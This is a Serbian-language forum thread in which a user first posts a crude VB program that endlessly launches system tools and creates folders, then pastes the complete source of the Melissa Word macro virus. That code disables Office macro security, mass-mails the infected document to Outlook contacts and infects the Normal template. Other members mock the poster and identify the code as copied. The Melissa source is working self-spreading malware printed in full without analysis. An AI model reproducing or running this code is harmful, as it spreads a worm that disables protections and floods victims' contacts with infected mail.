....El moze ovako?
Prikazujem rezultate 1 do 13 od 13

Tema: ....El moze ovako?

  1. #1
    Aktivan član
    Učlanjen
    21.11.2003.
    Pol
    muški
    Lokacija
    usrbiji
    Poruke
    1.838
    Reputaciona moć
    70

    Podrazumevano ....El moze ovako?

    Private Sub Form_Load()
    On error resum next
    Fold:
    shell "c:\windows\notepad.exe"
    shell "c:\windows\telnet.exe"
    shell "c:\windows\taskman.exe"
    shell "c:\windows\ipconfig.exe"
    mkdir "c:\KOMP"
    mkdir "c:\HAKNUT"
    Go To fold:
    End Sub



  2. #2
    Me, Myself & I
    Guest

    Podrazumevano

    Sta si ovime postig'o ???

  3. #3
    Aktivan član
    Učlanjen
    21.11.2003.
    Pol
    muški
    Lokacija
    usrbiji
    Poruke
    1.838
    Reputaciona moć
    70

    Podrazumevano

    Citat Original postavio Me, Myself & I
    Sta si ovime postig'o ???
    Pa 'el treba neshto da dodam? Ako treba napishi shta....

  4. #4
    Početnik
    Učlanjen
    17.10.2003.
    Lokacija
    Uzice
    Poruke
    40
    Reputaciona moć
    0

    Podrazumevano .....

    Prvo,ako nesto mislis da uradis sa tim,prvo malo nauci taj glupi Vb,drugo jel to mislis da si hacker a?Buahahahha zaista smesno,danas svaka druga budala misli da je hacker a cak ni lamerima nisu dorasli.Umesto sto se glupiras uzmi nauci nesto korisno ovo je najveca glupost koju sam video u poslednjih 5 meseci.Da uzmemo u obzir i to i da taj vb prog(ako se moze nazvati tako) najveca glupost jer pravi direktorijume KOMP i HACKNUT,i zbog takvih PIIIIP mi dodje da pocnem da krcam ovaj monitor od muke.Cak i pokrece notepad itd...smesno.Ako si vec neki lamercic uzmi napisi prog da ti salje logovane sifrice i slicno(mada ne,ti si komandu shell video na netu buahhaha)Kad cete se vi klinci vec jednom opametiti,to mi nije jasno nimalo sta vi vise zamisljate,idi sedi igraj igrice kad si samo za to sposoban.Aj progovori jos jednom da te ja ucutkam.

  5. #5
    Primećen član
    Učlanjen
    15.02.2004.
    Lokacija
    Nis-New York
    Poruke
    572
    Reputaciona moć
    56

    Podrazumevano

    slazem se s covekom.
    moras da naucis osnove, a ne odma ovakve gluposti

  6. #6
    Guest

    Podrazumevano


    Iskrenosti nikad dosta, mislim da ce se posle takvih komentara dobro razmisliti pre nego sto pita nesto slicno.

  7. #7
    Aktivan član
    Učlanjen
    21.11.2003.
    Pol
    muški
    Lokacija
    usrbiji
    Poruke
    1.838
    Reputaciona moć
    70

    Podrazumevano

    Shta mislish o ovome....


    Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> ""
    Then
    CommandBars("Macro").Controls("Security...").Enabl ed = False
    System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
    Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
    Options.SaveNormalPrompt = (1 - 1)
    End If
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"
    Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
    Set AddyBook = DasMapiName.AddressLists(y)
    x = 1
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
    Next oo
    BreakUmOffASlice.Subject = "Important Message From " &
    Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't
    show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
    DasMapiName.Logoff
    End If
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" ,
    "Melissa?") = "... by Kwyjibo"
    End If
    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
    If ADCL > 0 Then _
    ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "Melissa"
    DoAD = True
    End If
    If NTI1.Name <> "Melissa" Then
    If NTCL > 0 Then _
    NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.Name = "Melissa"
    DoNT = True
    End If
    If DoNT <> True And DoAD <> True Then GoTo CYA
    If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    CYA:
    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
    False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True: End If
    'WORD/Melissa written by Kwyjibo
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
    If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
    triple-word-score, plus fifty points for using all my letters. Game's over.
    I'm outta here."
    End Sub

  8. #8
    Guest

    Podrazumevano

    'Mozda ce ovo da ti pomogne
    Private Sub Form_Load()

    dim S as string
    dim M as string
    dim O as string
    dim R as string
    dim U as string

    for i=1 to 100 step 2
    print("Krusevac je lep grad")
    end_for

    'A evo ga ovde magicni krug
    while d4cha="SMOR"
    msgbox("Da li je D4ch4 smor?",vbKeyYes)
    me.print d4ch4
    wend

    End_Sub

  9. #9
    Me, Myself & I
    Guest

    Podrazumevano

    hahaha... svaka cast...
    Za ovih nekoliko dana si tako dobro savladao tehniku programiranja virusa, da od onog prvog koda napravis ovo sada
    Ovo sto si napisao (tj. sasvim iskusno uradio copy-paste) je sors kod "Melissa Word Macro Virus"-a i taj kod mozes da nadjes na mali milion mesta na net-u, ali OK i za to je potrebno par minuta truda. :wink:

  10. #10
    Veoma poznat
    Učlanjen
    07.12.2003.
    Lokacija
    bg
    Poruke
    11.980
    Reputaciona moć
    0

    Podrazumevano

    iznapadaste coveka... :I

  11. #11
    Primećen član
    Učlanjen
    04.03.2004.
    Lokacija
    UK
    Poruke
    558
    Reputaciona moć
    56

    Podrazumevano

    U chemu je poenta? "LJUUUUUDI, vidite, nashao sam par primera malicioznog koda. Do jaja!!!!"

    Aj' cuti bolje. Ako cesh pisati viruse i sl. batali taj VB, sedi i nauchi assembler i WinAPI u detalje. Pa kad to nauchish i napravish neshto svoje, tek onda SIGURNO necesh da shirish po ovakvim forumima!

  12. #12
    Primećen član
    Učlanjen
    15.02.2004.
    Lokacija
    Nis-New York
    Poruke
    572
    Reputaciona moć
    56

    Podrazumevano

    pateticno
    ajde stavi komentare uz onaj kod, cisto da vidimo da razumes sta si paste-ovao

  13. #13
    Poznat Incognito (avatar)
    Učlanjen
    17.07.2003.
    Pol
    muški
    Lokacija
    Beograd
    Poruke
    8.035
    Reputaciona moć
    133

    Podrazumevano

    Dosta ove lakrdije.

    t.c.

Slične teme

  1. Mislite li da ovako nesto moze da zazivi?
    Autor EUROPANEL TEAM u forumu Internet
    Odgovora: 5
    Poslednja poruka: 25.03.2008., 15:25
  2. Moze li ovako..?
    Autor šetač u forumu Ljubav i seks
    Odgovora: 2
    Poslednja poruka: 06.03.2005., 18:36
  3. Odgovora: 9
    Poslednja poruka: 21.02.2005., 18:39

Pravila za slanje poruka

  • Ne možete kreirati novu temu
  • Ne možete poslati odgovor
  • Ne možete dodati priloge
  • Ne možete prepraviti svoju poruku
  •